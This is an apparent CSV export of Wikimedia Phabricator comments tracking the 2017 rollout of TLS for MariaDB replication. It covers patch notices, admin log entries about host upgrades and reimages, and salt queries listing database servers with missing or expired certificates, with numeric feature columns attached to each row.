",,,1486555766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 336609 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1037 for maintenance

[[GERRIT_URL]]
"
805558,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVodTuaTlCyyDMEPvJNz} [2017-02-08T10:39:54Z] <jynus> upgrading and restarting db1045 T111654",,,1486550395,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.5833333333333335,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-08T10:39:54Z] <jynus> upgrading and restarting db1045 T111654"
805554,Set up TLS for MariaDB replication,"Change 336601 merged by jenkins-bot:
mariadb: Depool db1045 for maintenance

[[https://gerrit.wikimedia.org/r/336601]]",,,1486550054,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9523809523809526,0.8571428571428571,"Change 336601 merged by jenkins-bot:
mariadb: Depool db1045 for maintenance

[[GERRIT_URL]]"
805546,Set up TLS for MariaDB replication,"Change 336601 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1045 for maintenance

[[https://gerrit.wikimedia.org/r/336601]]
",,,1486549246,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9615384615384617,0.8846153846153846,"Change 336601 had a related patch set uploaded (by Jcrespo):
mariadb: Depool db1045 for maintenance

[[GERRIT_URL]]
"
805362,Set up TLS for MariaDB replication,"After resolving T152188, pending hosts:

```

$ sudo salt --output=txt -C 'G@cluster:mysql' cmd.run 'mysql -BN --skip-ssl -e ""SELECT @@ssl_ca""' | grep NULL
db1020.eqiad.wmnet: NULL
db1001.eqiad.wmnet: NULL
db1037.eqiad.wmnet: NULL
labsdb1003.eqiad.wmnet: NULL
db1009.eqiad.wmnet: NULL
db1016.eqiad.wmnet: NULL
db1026.eqiad.wmnet: NULL
db1030.eqiad.wmnet: NULL
labsdb1001.eqiad.wmnet: NULL
db1045.eqiad.wmnet: NULL
db1069.eqiad.wmnet: NULL
```

Some of those will be decomissioned very soon and probably never deployed TLS. Counting only core dbs:


```
$ sudo salt --output=txt -C 'G@cluster:mysql and G@mysql_group:core' cmd.run 'mysql -BN --skip-ssl -e ""SELECT @@ssl_ca""' | grep NULL
db1045.eqiad.wmnet: NULL
db1037.eqiad.wmnet: NULL
db1026.eqiad.wmnet: NULL
db1030.eqiad.wmnet: NULL

```",,,1486513703,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,83,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.230769230769231,0.7692307692307693,"After resolving T152188, pending hosts:

``CODE`CODE`CODE``"
803336,Set up TLS for MariaDB replication,"Completed auto-reimage of hosts:
```
['db2039.codfw.wmnet']
```

and were **ALL** successful.

",,,1486141753,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7916666666666665,0.7083333333333334,"Completed auto-reimage of hosts:
``CODE``

and were **ALL** successful.

"
803317,Set up TLS for MariaDB replication,"Script wmf_auto_reimage was launched by jynus on neodymium.eqiad.wmnet for hosts:
```
['db2039.codfw.wmnet']
```
The log can be found in `/var/log/wmf-auto-reimage/201702031641_jynus_2666.log`.",,,1486140133,,PHID-USER-gzxwjo5i7iwtojwoibwt,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.148148148148148,0.8148148148148148,"Script wmf_auto_reimage was launched by jynus on neodymium.eqiad.wmnet for hosts:
``CODE`CODE/var/log/wmf-auto-reimage/201702031641_jynus_2666.log`."
803250,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoEftvnHQCSeVEJfH1u} [2017-02-03T15:01:47Z] <jynus> preparing to reimage db2039 T111654",,,1486134107,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.4722222222222223,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-03T15:01:47Z] <jynus> preparing to reimage db2039 T111654"
803237,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoEYqX-lCyyDMEPvH7O} [2017-02-03T14:30:58Z] <jynus> upgrade and restart db2061 T111654",,,1486132258,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.4444444444444446,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-03T14:30:58Z] <jynus> upgrade and restart db2061 T111654"
803226,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoERIadlCyyDMEPvH6U} [2017-02-03T13:58:04Z] <jynus> restarting and upgrading db2041 T111654",,,1486130284,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,3.5833333333333335,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-03T13:58:04Z] <jynus> restarting and upgrading db2041 T111654"
803192,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoDtO0VQMK9DA-FJ9o1} [2017-02-03T11:21:13Z] <jynus> preparing to reimage db2054 T111654",,,1486120873,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.4722222222222223,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-03T11:21:13Z] <jynus> preparing to reimage db2054 T111654"
803173,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoDnMONQMK9DA-FJ9og} [2017-02-03T10:54:49Z] <jynus> preparing to reimage db2053 T111654",,,1486119290,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.4722222222222223,0.8611111111111112,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-03T10:54:49Z] <jynus> preparing to reimage db2053 T111654"
803139,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVoDZTNeQMK9DA-FJ9nY} [2017-02-03T09:54:08Z] <jynus> upgrade & restart of db2063 T111654",,,1486115648,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.3513513513513513,0.8648648648648649,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-03T09:54:08Z] <jynus> upgrade & restart of db2063 T111654"
802689,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVn_-NwqQMK9DA-FJ9ZY} [2017-02-02T17:56:56Z] <jynus> upgrade & restart of db2059 T111654",,,1486058216,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.3513513513513513,0.8648648648648649,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-02T17:56:56Z] <jynus> upgrade & restart of db2059 T111654"
802677,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVn_7O9oHQCSeVEJfHju} [2017-02-02T17:43:54Z] <jynus> upgrade & restart of db2052 T111654",,,1486057435,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,83,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.3513513513513513,0.8648648648648649,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-02-02T17:43:54Z] <jynus> upgrade & restart of db2052 T111654"
802252,Set up TLS for MariaDB replication,"```
sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
130
```

18 with expired certs:

```
db1021.eqiad.wmnet: cacert
db1022.eqiad.wmnet: cacert
db1036.eqiad.wmnet: cacert
db1015.eqiad.wmnet: cacert
db2052.codfw.wmnet: cacert
db2059.codfw.wmnet: cacert
db2063.codfw.wmnet: cacert
db2053.codfw.wmnet: cacert
db2054.codfw.wmnet: cacert
db2041.codfw.wmnet: cacert
db2061.codfw.wmnet: cacert
db2039.codfw.wmnet: cacert
db2046.codfw.wmnet: cacert
db2045.codfw.wmnet: cacert
db2036.codfw.wmnet: cacert
db2064.codfw.wmnet: cacert
db2050.codfw.wmnet: cacert
db2043.codfw.wmnet: cacert
```",,,1485993223,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.4,``CODE`CODE`CODE``
802251,Set up TLS for MariaDB replication,"```
sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
130
```

18 with expired hosts:

```
db1021.eqiad.wmnet: cacert
db1022.eqiad.wmnet: cacert
db1036.eqiad.wmnet: cacert
db1015.eqiad.wmnet: cacert
db2052.codfw.wmnet: cacert
db2059.codfw.wmnet: cacert
db2063.codfw.wmnet: cacert
db2053.codfw.wmnet: cacert
db2054.codfw.wmnet: cacert
db2041.codfw.wmnet: cacert
db2061.codfw.wmnet: cacert
db2039.codfw.wmnet: cacert
db2046.codfw.wmnet: cacert
db2045.codfw.wmnet: cacert
db2036.codfw.wmnet: cacert
db2064.codfw.wmnet: cacert
db2050.codfw.wmnet: cacert
db2043.codfw.wmnet: cacert
```",,,1485993202,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.4,``CODE`CODE`CODE``
802250,Set up TLS for MariaDB replication,"```
sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
130
```",,,1485993013,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6,0.4,``CODE``
801511,Set up TLS for MariaDB replication,"36 pending hosts:
```
db1030.eqiad.wmnet: NULL
db1045.eqiad.wmnet: NULL
db1020.eqiad.wmnet: NULL
db1001.eqiad.wmnet: NULL
db1039.eqiad.wmnet: NULL
db1026.eqiad.wmnet: NULL
labsdb1001.eqiad.wmnet: NULL
labsdb1003.eqiad.wmnet: NULL
db1037.eqiad.wmnet: NULL
db1009.eqiad.wmnet: NULL
db1016.eqiad.wmnet: NULL
db1069.eqiad.wmnet: NULL
db1067.eqiad.wmnet: cacert
db1022.eqiad.wmnet: cacert
db1021.eqiad.wmnet: cacert
db1015.eqiad.wmnet: cacert
db1036.eqiad.wmnet: cacert
db2044.codfw.wmnet: cacert
db2063.codfw.wmnet: cacert
db2051.codfw.wmnet: cacert
db2046.codfw.wmnet: cacert
db2059.codfw.wmnet: cacert
db2065.codfw.wmnet: cacert
db2053.codfw.wmnet: cacert
db2039.codfw.wmnet: cacert
db2054.codfw.wmnet: cacert
db2061.codfw.wmnet: cacert
db2050.codfw.wmnet: cacert
db2041.codfw.wmnet: cacert
db2036.codfw.wmnet: cacert
db2037.codfw.wmnet: cacert
db2045.codfw.wmnet: cacert
db2052.codfw.wmnet: cacert
db2058.codfw.wmnet: cacert
db2064.codfw.wmnet: cacert
db2043.codfw.wmnet: cacert
```",,,1485910050,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.4,0.7,"36 pending hosts:
``CODE``"
801199,Set up TLS for MariaDB replication,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVn1mgylQMK9DA-FJ8iK} [2017-01-31T17:37:10Z] <jynus> stopping mysql, upgrading and restarting db1011- temporary outage of tendril & dbtree T111654",,,1485884231,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,3.888888888888889,0.8666666666666667,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2017-01-31T17:37:10Z] <jynus> stopping mysql, upgrading and restarting db1011- temporary outage of tendril & dbtree T111654"
801195,Set up TLS for MariaDB replication,"Change 335233 merged by Jcrespo:
mariadb: Add TLS support for tendril

